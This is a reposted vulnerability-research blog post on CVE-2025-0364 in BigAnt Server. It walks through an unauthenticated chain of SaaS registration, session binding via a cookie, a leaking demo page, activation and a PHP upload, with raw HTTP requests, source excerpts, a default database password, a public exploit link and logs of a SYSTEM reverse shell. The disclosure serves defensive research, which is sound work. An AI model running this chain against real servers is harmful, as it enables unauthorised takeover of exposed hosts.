Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    Horner Automation Cscape and XL4, XL7 PLC

    April 17, 2026

    FAA Scraps Civil and Criminal Penalties for Flying Drones Near ICE Vehicles

    April 17, 2026

    SSA-628843 V1.0: Out of Bound Read Vulnerability in TPM 2.0

    April 17, 2026
    Facebook X (Twitter) Instagram
    • Demos
    • Technology
    • Gaming
    • Buy Now
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Canadian Cyber WatchCanadian Cyber Watch
    • Home
    • News
    • Alerts
    • Tips
    • Tools
    • Industry
    • Incidents
    • Events
    • Education
    Subscribe
    Canadian Cyber WatchCanadian Cyber Watch
    Home»News»BigAnt Small Chain – CVE-2025-0364 Exploitation | Blog
    News

    BigAnt Small Chain – CVE-2025-0364 Exploitation | Blog

    adminBy adminApril 13, 2026No Comments18 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email


    The BigAntSoft BigAnt Server, which provides a Windows hosted on-premises chat server that focuses on business use cases, is vulnerable to unauthenticated remote code execution via account registration and PHP file uploads. The vulnerability takes advantage of a default exposed SaaS registration that allows an attacker to solve a simple CAPTCHA and then create an administrative user that can upload to the Cloud Storage Add-in. The system allows for the upload of PHP files that can trigger without authentication, leading to a exploit chain of no-authentication to remote code execution in all current, 5.6.06, and below versions.

    The VulnCheck team identified this vulnerability during the triage of CVE-2024-54761, which turned out to require administrator access and had an incorrect CVSS Privileges Required (PR) value. The VulnCheck team identified a few quick indicators of insecure programming practices and chose to investigate deeper, leading to the discovery of this authentication bypass and file upload remote code execution. At the time of discovery there were roughly 50 BigAnt servers on the internet and at the time of publishing this blog there were around 30 identifiable instances.

    In summary, an attacker can gain full remote code execution unauthenticated via a chain of 10 requests. The VulnCheck Initial Access Intelligence has published the public exploit: https://github.com/vulncheck-oss/cve-2025-0364

    The following shows the exploit in action:

    poptart@grimm:~/src/initial-access/feed/cve-2025-0364 $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e -captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha VKZ6
    time=2025-01-09T14:50:18.502-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000
    time=2025-01-09T14:50:18.620-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true
    time=2025-01-09T14:50:18.620-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000
    time=2025-01-09T14:50:18.650-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06
    time=2025-01-09T14:50:18.650-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes
    time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Password that will be used for authentication: kyLZiAddnH"
    time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Registering SaaS org: LBJCUE (mpzo@fldlmarv.com) with password: kyLZiAddnH"
    time=2025-01-09T14:50:18.675-07:00 level=STATUS msg="Getting new PHP session and pinning the SaaS org to the session"
    time=2025-01-09T14:50:18.747-07:00 level=STATUS msg="Retrieving org SSID from demo page with session v1cir7mh9v4dfv4ik54mhq6so0"
    time=2025-01-09T14:50:18.764-07:00 level=STATUS msg="Retrieved SSID for LBJCUE: 387360F0-EECD-622B-5B90-C37F2BBD45B3"
    time=2025-01-09T14:50:18.765-07:00 level=STATUS msg="Activating SaaS organization"
    time=2025-01-09T14:50:22.627-07:00 level=STATUS msg="Authenticating to the addin SaaS admin"
    time=2025-01-09T14:50:22.673-07:00 level=STATUS msg="Visiting SaaS addin cloud drive page"
    time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Got cloud drive root path UUID: 99C8911A-DCB3-E5F2-4298-1E3567AA0DAD"
    time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Attempting to upload `JQsaYCKEOu.php` to cloud drive addin"
    time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Attempting to trigger final payload, timeout is expected after callback"
    time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Requesting final payload at: http://10.0.0.104:8000/data/387360F0-EECD-622B-5B90-C37F2BBD45B3/pan/99C8911A-DCB3-E5F2-4298-1E3567AA0DAD/2025-01-09/JQsaYCKEOu.php"
    time=2025-01-09T14:50:22.821-07:00 level=SUCCESS msg="Caught new shell from 10.0.0.104:51690"
    time=2025-01-09T14:50:22.821-07:00 level=STATUS msg="Active shell from 10.0.0.104:51690"
    Microsoft Windows [Version 10.0.17763.107]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>whoami
    whoami
    nt authority\system
    

    While the shells are always great, the full path of discovery to exploitation can be just as valuable than the exploit.

    After having the initial disappointing run in with a bad CVSS score assignment(PR is wrong so often), we decided to see if it was possible to quickly identify an authentication bypass vulnerability to amend the sins of the first CVSS score. The investigation combined static analysis with some simple fuzzing of paths to identify all unauthenticated endpoints before even diving too deep into application logic. The server utilizes the ThinkPHP framework, which is popular among Chinese vendors, and uses a model-view-controller design.

    Investigation started with a quick enumeration of default exposed web pages later there were multiple views to landing pages that all appeared to be outside the standard /index.php/Home/login/index.html route. The most standout of the endpoints were multiple instances of account registration pages, which are a common vector for getting partial authentication or unexpected session settings, making it a prime target for an attacker. The one that showed the most “red flags” was the /index.php/Home/Saas/reg_email.html/index.php/Home/Saas/reg_email.html URI, which presented the following page:

    BigAnt SaaS registration landing page

    These are the exact red flags we look for; auto-filled QQ addresses and user information, no documentation, a custom CAPTCHA, and a mention of organizational registration. Non-user initiated role creation is often a good place to look for authentication bypasses as machine, API, or group accounts often don’t follow expected single user logic. Filling out the information and solving the CAPTCHA, we land on the following success message:

    BigAnt successful SaaS registration message

    The server then sends an email, if configured with proper SMTP settings, with the SaaS registration information and an activation link containing a UUID. As an attacker, it’s not good to burn any emails in our control and leaving breadcrumbs and we do not want to rely on the SMTP server having a complete configuration, so it was time to see if we could get the registration activation variables without configured SMTP or an email. It was time to dig in and see what’s happening in these requests to see if there’s anything we can use.

    ThinkPHP allows you to embed functions inside of HTML forms and other backend content that corresponds to the HTML file field information. This means that functions inside the HTML files can be called to the corresponding controller functions. We can verify this by checking that the HTML file calls the reg_email_post function with the data provided in the Application/Home/View/Saas/reg_email.html page:

    <extend name="Public/base" />
    
    
    <block name="main">
    
        <form id="form"  action="{:U('reg_email_post')}" method="post">
        <div class="form-box">
            <div class="form-header">{:L('_SAAS_REGISTER_')}div>
            <div class="form-body">
                <div class="form">
                    <div class="form-group">
                        <input type="text" name="saas_showname" id="saas_showname" placeholder="{:L('_SHOWNAME_')}" class="form-control required" minlength="2" maxlength="20">
                    div>
                    <div class="form-group">
                        <input type="text" name="saas_name" id="saas_name" placeholder="{:L('_SAASNAME_')}" class="form-control required chrnum">
                    div>
                    <div class="form-group">
                        <input type="text" name="org_email" id="org_email" placeholder="{:L('_EMAIL_')}" class="form-control required email">
                    div>
                    <div class="form-group">
                        <input type="text" name="saas_pwd" id="saas_pwd" placeholder="{:L('_PASSWORD_')}" class="form-control required pwd" minlength="6" maxlength="20">
                    div>
    

    The reg_email_post function call is called inside of Application/Home/Controller/SaasController.class.php:63, which handles the sending of the email with the filled in data from the backend and user provided information. We want to follow the logic of where the UUID gets set and that appears in the following as the saas_id:

    /**
     * 邮箱saas
     * 1 新增SAAS
     * 2 发送邮件
     * 3 通过邮件地址激活SAAS
     */
    function reg_email_post(){
    
        /*
        if(!$this->check_verify(I('verify'))){
            $this->error(L('_VALID_VERIFY_ERROR_'));exit;
        };
        */
         
        $res = $this->reg_saas(0);
        
        if($res['status']){
            $url = sp_get_host() . U('reg_activation',array('saas_id'=>$saasId))  ; //生成激活的URL地址
            //发送邮件
            $subject = L('_ACTIVATION_MAIL_SUBJECT_') ;
            $content = L('_ACTIVATION_MAIL_CONTENT_') ;
            $content = str_replace('[url]',$url,$content);
            $content = str_replace('[minute]',$M->activation_expire_miniute,$content);
            $res =sp_send_mail($data['org_email'], $subject, $content) ;
            if ($res){
                $url = U('reg_email_ok',array('saas_id'=>$saasId));
                $this->success(L('_ADD_SUCCESS_'), $url);
            }else{
                $this->error($res['err_msg']);
            }
        }else{
            $this->error($M->getError());
        }
    }
    

    Based on some light ThinkPHP knowledge, we know that the application utilizes a create() and add() inheritance to handle creation of database objects. After the email is sent the user is redirected to a reg_saas route and calls the function in Application/Home/Controller/SaasController.class.php with the registration POST request to /index.php/Home/Saas/reg_saas. The following snippet completes the account registration step and creates the saas_id and updates the database:

    /**
     * 注册SAAS
     * @param number $status
     * @param number $is_send_activation_email 是否发送激活邮件(官方注册,外面发送)
     * @return number|unknown
     */
    function reg_saas($status = 0,$is_send_activation_email = 1){
        
        $M = D('Common/Saas');
    
        $M->is_send_activation_email = $is_send_activation_email ;
        
        //清除过期无效的数据
        $M->clearExpire();
        
    
        $data = $M->create();
    
        if (!$data){
            return sp_api_fail(0, $M->getError()) ;
        }
        
        $data['saas_status'] = $status ;
        $res = $M->add($data);
    
        //更新接口服务
        if ($res && $status){
            $param = $M->where(array('saas_name'=>$data['saas_name']))->field('saas_id')->find();
            \Common\Lib\AntCmd::execUpdatePack(CMD_SAAS_UPDATE, $param['saas_id']) ;
        }
        
        if ($res){
            return sp_api_success($data);
        }else{
            return sp_api_fail(0, $M->getError()) ;
        }
        
        
    }
    

    There’s a lot more ThinkPHP logic that handles the MVC components that wasn’t worth stepping through, so when in doubt ripgrep. A quick search and a validation that the default install provides a MySQL server landed me at the Application/Install/Data/dbcreate/ms_mysql.sql install SQL file:

    -- ----------------------------
    -- Table structure for sys_saas
    -- ----------------------------
    DROP TABLE IF EXISTS `sys_saas`;
    CREATE TABLE `sys_saas` (
      `SAAS_ID` varchar(50) NOT NULL DEFAULT '',
      `SAAS_NAME` varchar(100) DEFAULT '',
      `SAAS_SHOWNAME` varchar(100) DEFAULT '',
      `SAAS_DBNAME` varchar(50) DEFAULT '',
      `SAAS_DESC` varchar(255) DEFAULT '',
      `SAAS_CREATE_DATE` bigint(20) DEFAULT '0',
      `SAAS_STATUS` int(2) DEFAULT '0',
      `ORG_CONTACT` varchar(50) DEFAULT '',
      `ORG_PHONE` varchar(50) DEFAULT '',
      `ORG_ADDRESS` varchar(255) DEFAULT '',
      `ORG_EMAIL` varchar(50) DEFAULT '',
      `ORG_FAX` varchar(50) DEFAULT '',
      `ORG_POSTCODE` varchar(50) DEFAULT '',
      `AUTH_NUMBERS` varchar(100) DEFAULT '0',
      `AUTH_CODE` varchar(2000) DEFAULT '',
      `AUTH_EXPIREDATE` varchar(255) DEFAULT '0',
      `SAAS_PWD` varchar(50) DEFAULT '',
      `SAAS_INSTALLDATE` varchar(255) DEFAULT '',
      PRIMARY KEY (`SAAS_ID`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
    

    Great, now we have the corresponding table that handles SaaS registration and we just need to verify that our data is in the database. Another quick little grep for the MySQL connection string shows the following:

    Demo/Controller/TestController.class.php
    29:     $dbconfig['DB_TYPE']='mysql' ;
    55:     $conns[] = array('mysql','127.0.0.1','3306','root','www.upsoft01.com','antdbms_aipu');
    85:     //$conns[] = array('mysql','127.0.0.1','3306','root','www.upsoft01.com','antdbms_aipu');
    214:        //var_dump(function_exists('mysql_connect'));
    

    Sure enough, a quick MySQL connection on the server later with root:www.upsoft01.com and we can see the following entries for the table:

    BigAnt registration sys_saas database entries

    This validates that the entries are actually be created with the data we provided, and shows that we need to figure out a way to get access to the SAAS_ID value. It’s also important to note the multiple UUIDs and SaaS organizations, as it will come up later when we mature the exploit.

    A quick glance through the application logic shows that we need to look for instances where $_SESSION['saas'] or sp_saas_id() is called and accessible by a user or unauthenticated in order for us to recover the UUID. The sp_saas_id function can be found in Application/Common/Common/site.php:143 and corroborates this:

    function sp_saas_id(){
        if (! $_SESSION['saas'])
            return '';
    
        return $_SESSION['saas']['saas_id'];
    }
    

    Some static analysis (ripgrep my dearest) allowed us to identify roughly ~200 instances of sp_saas_id calls, and some more quick session checks narrow down any that don’t require authentication. One entry stood out far more than the others in Application/Demo/View/Api/index.html:

    DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8">
        <link href="__PUBLIC__/static/bootstrap/css/bootstrap.min.css" rel="stylesheet">
        <link href="__PUBLIC__/static/bootstrap/font-awesome/4.2.0/css/font-awesome.min.css"  rel="stylesheet" type="text/css">
        <link href="__PUBLIC__/{$Think.MODULE_NAME}/css/site.css" rel="stylesheet">
        <script src="__PUBLIC__/static/jquery.js">script>
     head>
      <body>
        
        
        <volist name="list" id="module" key="i">
            <volist name="module['methods']" id="method">
                <a id="{$module['name']}_{$method['name']}">a>
                <form method="post" target="_blank" action="/api/{$module['name']}/{$method['name']}.html" enctype="multipart/form-data">
                    <h1>{$module['name']}/{$method['name']}【{$method['intro']}】h1>
                    <div class="cmd">
                        <a href="#" class="clear">{:L('_CLEAN_SELECT_OPTIONS_')}a>
                    div>
                    
                    <div class="item-option">
                        <label> ssidlabel>
                        <input type="text" name="ssid" value="{:sp_saas_id()}">
                        <span class="intro">SAAS IDspan>
                    div>
                    <div class="item-option">
                        <label><i>*i> uidlabel>
    

    Opening up this page in a empty session shows the following demo page, which contains almost all API calls but most importantly fills the forms with the called sp_saas_id function call:

    BigAnt demo page leaking sp_saas_id

    What’s up with the ssid UUID value of 122C8BFA-BD74-9668-BE31-EA159FB2C437 and why is that the UUID tied to a antdbms_pwn object from the previous database sys_saas query? Where did it come from?

    It turns out that SaaS ID from the application gets assigned to the first created saas organization and if your role or session does not have a currently assigned one, the first created one is set as the default. This presents a problem, we cannot retrieve the information that we submitted when registering when submitting the organization registration because that object will get assigned and we don’t know the email, org name, and password for that organization. Theoretically, if the attacker creates the first organization this would be a usable path, but we want something better. Let’s see if we can find a way to force a session to belong to a saas org with our controlled information and grantee success.

    This time, we weren’t quite as lucky to find a session assigned variable in a debug page, nor a quick function call. Looking for all interactions with identified SaaS variable names gave us quite a few places to look. Ironically, some manual review showed that the primary login page index function contained some suspicious looking code at Application/Home/Controller/LoginController.class.php:90:

    /**
     * 登录
     */
    public function index(){
    
        $to = I('to','admin','htmlspecialchars') ;
        $app = I('app');
        $saas = I('saas');
    
        if (! $saas) {
            $saas = cookie('saas');
        }
        
    
        
        //20170418 针对只有一个SAAS的企业,默认给出企业ID
        //李成提的需求
        $M = D('Common/Saas');
        $data = null ;
        if ($saas){
            //20170518 如果是登妨系统管理台,那个数据库密码如果是 默认密码,那么显示出来
            $data = $M->where(array('saas_name'=>$saas))->fetchSql(false)->select();
        }
    
        //
        if (! $data){
            $data = $M->fetchSql(false)->select();
        } 
    
        
        $saas = $data[0]['saas_name'] ;
    
        
    
        //20170419 加入默认的帐号
        $account = htmlspecialchars($_COOKIE['account']) ;
        if (! $account){
            $account = 'superadmin';
        }
        
        
        $this->assign('saas',$saas) ;
        $this->assign('account',$account) ;
        $this->assign('metaTitle',C('PRODUCT_NAME') . ' ' . L('_LOGIN_TITLE_')) ;
        $this->assign('to',$to) ;
        $this->assign('app',$app) ;
        
        if(I('flag')){
            $this->assign('flag',I('flag')) ;
        }
    

    In summary, the main login page index function will look for an assigned saas session, if none is found it will look for a cookie named saas and assign (via $this->assign()) any matching SaaS organization set in that cookie to the session.

    In order to test this we can request the login page with a saas=aaa cookie set in a new session:

    GET /index.php/Home/Login/index.html HTTP/1.1
    Host: 10.0.0.104:8000
    Accept-Language: en-US,en;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Cookie: saas=aaa
    

    Then, take the session cookie from the above request and revisit the demo page to trigger the ssid output:

    BigAnt demo page with attacker controlled SaaS

    Bingo. We have tied the saas that we registered to our controlled value for the session and was able to successfully retrieve the ssid value.

    All that’s left is to verify the original hypothesis and attempt to complete the registration of the SaaS organization. The core function for registration activation lives in Application/Home/Controller/SaasController.class.php:411:

    /**
     * 激活SAAS
     * 1、获得SAAS
     * 2、判断是否超时
     * 3、判断是否激活
     * 4、激活SAAS
     */
    function reg_activation(){
        $saasId = I('saas_id');
        
        $M = D('Common/Saas');
        $info = $M->find($saasId) ;
        
        //判断是否有数据
        if (!$info){
            $this->error(L('_ACTIVATION_ERROR_NODATA_')) ;
        }
        
        //判断是否已经激活了
        if ($info['saas_status']){
            $this->error(L('_ACTIVATION_ERROR_ALREALY_')) ;
        }
        
        //判断是否过期
        if ($M->isExpire($info['saas_create_date'])){
            $this->error(L('_ACTIVATION_ERROR_EXPIRE_')) ;
        }
        
        //激活数据
        $saasName = $info['saas_name'] ;
        $res = $M->activationSaas($saasName) ;
        
        if ($res){
            $url = U('reg_complete',array('saas'=>$saasName));
            $this->success(L('_ACTIVATION_SUCCESS_'), $url);
        }else{
            $this->error(L('_ACTIVATION_ERROR_'));
        }
    }
    

    If the activation data is correct and the saas_id is the same as the ssid then this function calls activationSaas in Application/Common/Model/SaasModel.class.php:146:

    /**
     * 激活SAAS
     * @param unknown $saasName 企业ID (在LINUX上安装的时候会出现SAASID变成1,不知道什么原因,所以这里用企业ID来判断)
     * @param unknown $password 明文密码 用于发邮件
     */
    public function activationSaas($saasName){
    
        $where['saas_name'] = $saasName;
        $info = $this->where($where)->find();
        
        $saasId = $info['saas_id'];
        $saasName = $info['saas_name'];
        $dbName = $info['saas_dbname'];
        $adminPassword = $info['saas_pwd'];
        $installDate = $info['saas_installdate'] ;
        
        if (! $info){
            return false ;
        }
        
        //创建数据库
        $res = $this->createDB($info);
        
        //设置SAAS的服务关系
        if ($res){
            $M = D('Ms/server');
            $server = $M->where(array('server_type',2))->find();
            
            if ($server){
                $serverId = $server['server_id'];
                $sql = " insert into sys_saas_server(gid,saas_id,login_server_id,server_is_mast) values('" . sp_get_guid(). "','$saasId','$serverId',1)" ;
                $M->db->execute($sql);
            }
        }
        
        //更新状态
        $data['saas_status'] = 1 ;
        $data['saas_id'] = $saasId ;
        if (! $installDate){
            $data['saas_installdate'] = \Common\Lib\AntCmd::getTryCode();
            $data['auth_numbers'] = \Common\Lib\AntCmd::encrypt(50);
            $data['auth_expiredate'] = \Common\Lib\AntCmd::encrypt(strtotime(date('Y-m-d H:i:s',strtotime('+15 day'))));
        }
        $this->save($data);
        
        //发送邮件通知
        if ($this->is_send_activation_email){
            $this->sendMailNotify($info);
        }
        
        
        return true ;
        
    }
    

    This successfully activates the SaaS organization and sets up the organization with the data we initially registered with. Time to test the activation of our initial organization:

    POST /index.php/Home/Saas/reg_activation HTTP/1.1
    Host: 10.0.0.104:8000
    Content-Length: 44
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
    Cookie: PHPSESSID=5q37l00e0alpb5euu40403tj3e;
    Connection: keep-alive
    
    saas_id=1438134D-4ECD-9FBC-CE77-8EF6C37F47DE
    

    The server then responds with a “Activate successfully” and a little smiley face:

    HTTP/1.1 200 OK
    Date: Thu, 09 Jan 2025 19:52:29 GMT
    Server: Apache/2.4.46 (Win32) OpenSSL/1.1.1g PHP/7.4.14
    X-Powered-By: ThinkPHP
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private
    Pragma: no-cache
    Content-Length: 1655
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    
    DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>跳转提示title>
    <style type="text/css">
    *{ padding: 0; margin: 0; }
    body{ background: #fff; font-family: '微软雅黑'; color: #333; font-size: 16px; }
    .system-message{ padding: 24px 48px; }
    .system-message h1{ font-size: 100px; font-weight: normal; line-height: 120px; margin-bottom: 12px; }
    .system-message .jump{ padding-top: 10px}
    .system-message .jump a{ color: #333;}
    .system-message .success,.system-message .error{ line-height: 1.8em; font-size: 36px }
    .system-message .detail{ font-size: 12px; line-height: 20px; margin-top: 12px; display:none}
    style>
    <meta name="__hash__" content="5cdc38b49dc8bdbfced7bbdaaa44f6c0_5351a56337376881b051417c1a46545c" /><meta name="__hash__" content="5cdc38b49dc8bdbfced7bbdaaa44f6c0_5351a56337376881b051417c1a46545c" />head>
    <body>
    <div class="system-message">
    <h1>:)h1>
    <p class="success">Activate successfullyp>
    <p class="detail">p>
    <p class="jump">
    

    We now have an activated SaaS org and the information on how to authenticate to the system. In order to actually do this and to see what we can do post-authentication, we need to first find where to use these credentials.

    Using the data from the first initial crawl for unauthenticated pages we quickly identified that /index.php/Addin/login/index.html would provide an authentication page requesting the company code, username, and password:

    BigAnt Addin login page with data that was utilized to register the SaaS organization

    The only information that we didn’t submit in the initial registration was the username. A quick cross-reference in the database with the newly created SaaS organization in antdbms_aaa shows that the username that gets created with admin (shocking). A quick submission with aaa as the company code and admin:123456 and we land on /index.php/addin/public/load/clientid/1.html, which provides the following page:

    BigAnt post-authentication landing page for the add-in section. A Cloud Disk button and Bulletin button is visible

    We have officially confirmed and validated authentication. Instead of going straight for the SQL injection in the original CVE, Plus, the “Cloud Disk” is intriguing and didn’t match much of the code I’d seen used in the rest of the application. Let’s see what happens when we go to the Cloud Disk:

    BigAnt Cloud Disk page displaying cloud disk filesystem icons

    Clicking on the Personal Cloud Disk link in the Drive page immediately leads us to the following page:

    BigAnt Cloud Disk file upload page

    Oh goodie a upload page. We are building a tower, but entirely made out of red flags.

    If you immediately started thinking of MIME type sniffing bypasses or extension tricks on Windows related to recent disclosures, I applaud you but you might be overthinking. Let’s just try and upload some PHP:

    The application happily accepts our very hard fought PHP file and happily presents the uploaded PHP file:

    BigAnt Cloud Disk successfully uploading PHP file

    The preview options and other interaction pages will not work, but the HTML references the page just fine at /data/CB1E3E2E-58C5-0CB6-BD29-397DF76AB254/pan/C65DC0F8-E4E8-8FB2-E345-6C53ABCE8D03/2025-02-21/pwn.php so we open up the file and reach the finishing line:

    BigAnt PHP file execution

    Sometimes the silliest things work the best. We officially have a full exploit chain to go from no authentication to arbitrary PHP execution. Let’s automate and mature it into an exploit.

    In summary, the vulnerability requires the following HTTP requests to achieve full code execution:

    1. Get the CAPTCHA and CSRF tokens.
    2. Solve CAPTCHA manually.
    3. Register a new SaaS organization with the CAPTCHA and CSRF tokens from steps 1 & 2 with registration settings.
    4. In a new session, request the login page with a saas= cookie set to the new organization in step 3, this causes the new session to be bound to the SaaS instance the attacker just registered.
    5. Use the session cookie from step 4 to request the demo page that displays SaaS UUID, requiring the bound SaaS session or else the application will bind the session to the default SaaS organization which is not known to the attacker.
    6. Activate the registered organization with the SaaS UUID acquired in step 5.
    7. Authenticate to the “Cloud Drive” page with the admin account of the organization and the attacker controlled registration data.
    8. Get the Cloud Drive root IDs, UUIDs, date in YYYY-MM-DD format, and path information in order to know where the file is accessible.
    9. Upload a PHP payload, note the paths and upload dates.
    10. Trigger the PHP shell with the paths without authentication.

    This is the perfect opportunity to use go-exploit to create a small self contained exploit. All said and done the exploit was only roughly ~350 lines of code. The framework is the exact same system that the VulnCheck Initial Access Intelligence team uses to quickly create self-contained and mature exploits, and we are giving out our copy of CVE-2025-0364 to show off how well it works for situations like this: https://github.com/vulncheck-oss/cve-2025-0364

    For the moment of truth, retrieve the CAPTCHA and pre-conditions for the exploit:

    poptart@grimm:~/src/initial-access/feed/cve-2025-0364 $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -v -c -e
    time=2025-01-09T14:49:56.227-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false
    time=2025-01-09T14:49:56.227-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000
    time=2025-01-09T14:49:56.272-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true
    time=2025-01-09T14:49:56.272-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000
    time=2025-01-09T14:49:56.301-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06
    time=2025-01-09T14:49:56.301-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes
    time=2025-01-09T14:49:56.301-07:00 level=STATUS msg="CAPTCHA flags not set, retrieving captcha-hash"
    time=2025-01-09T14:49:56.317-07:00 level=STATUS msg="Open the following page in a browser and solve the CAPTCHA: http://10.0.0.104:8000/index.php/Home/Public/verify"
    time=2025-01-09T14:49:56.317-07:00 level=STATUS msg="Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha <SOLVED CAPTCHA>`"
    

    Solve the CAPTCHA and fire away to get a good ol’ NT AUTHORITY\SYSTEM reverse shell:

    poptart@grimm:~/src/initial-access/feed/cve-2025-0364 $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e -captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha VKZ6
    time=2025-01-09T14:50:18.502-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false
    time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000
    time=2025-01-09T14:50:18.620-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true
    time=2025-01-09T14:50:18.620-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000
    time=2025-01-09T14:50:18.650-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06
    time=2025-01-09T14:50:18.650-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes
    time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Password that will be used for authentication: kyLZiAddnH"
    time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Registering SaaS org: LBJCUE (mpzo@fldlmarv.com) with password: kyLZiAddnH"
    time=2025-01-09T14:50:18.675-07:00 level=STATUS msg="Getting new PHP session and pinning the SaaS org to the session"
    time=2025-01-09T14:50:18.747-07:00 level=STATUS msg="Retrieving org SSID from demo page with session v1cir7mh9v4dfv4ik54mhq6so0"
    time=2025-01-09T14:50:18.764-07:00 level=STATUS msg="Retrieved SSID for LBJCUE: 387360F0-EECD-622B-5B90-C37F2BBD45B3"
    time=2025-01-09T14:50:18.765-07:00 level=STATUS msg="Activating SaaS organization"
    time=2025-01-09T14:50:22.627-07:00 level=STATUS msg="Authenticating to the addin SaaS admin"
    time=2025-01-09T14:50:22.673-07:00 level=STATUS msg="Visiting SaaS addin cloud drive page"
    time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Got cloud drive root path UUID: 99C8911A-DCB3-E5F2-4298-1E3567AA0DAD"
    time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Attempting to upload `JQsaYCKEOu.php` to cloud drive addin"
    time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Attempting to trigger final payload, timeout is expected after callback"
    time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Requesting final payload at: http://10.0.0.104:8000/data/387360F0-EECD-622B-5B90-C37F2BBD45B3/pan/99C8911A-DCB3-E5F2-4298-1E3567AA0DAD/2025-01-09/JQsaYCKEOu.php"
    time=2025-01-09T14:50:22.821-07:00 level=SUCCESS msg="Caught new shell from 10.0.0.104:51690"
    time=2025-01-09T14:50:22.821-07:00 level=STATUS msg="Active shell from 10.0.0.104:51690"
    Microsoft Windows [Version 10.0.17763.107]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>whoami
    whoami
    nt authority\system
    
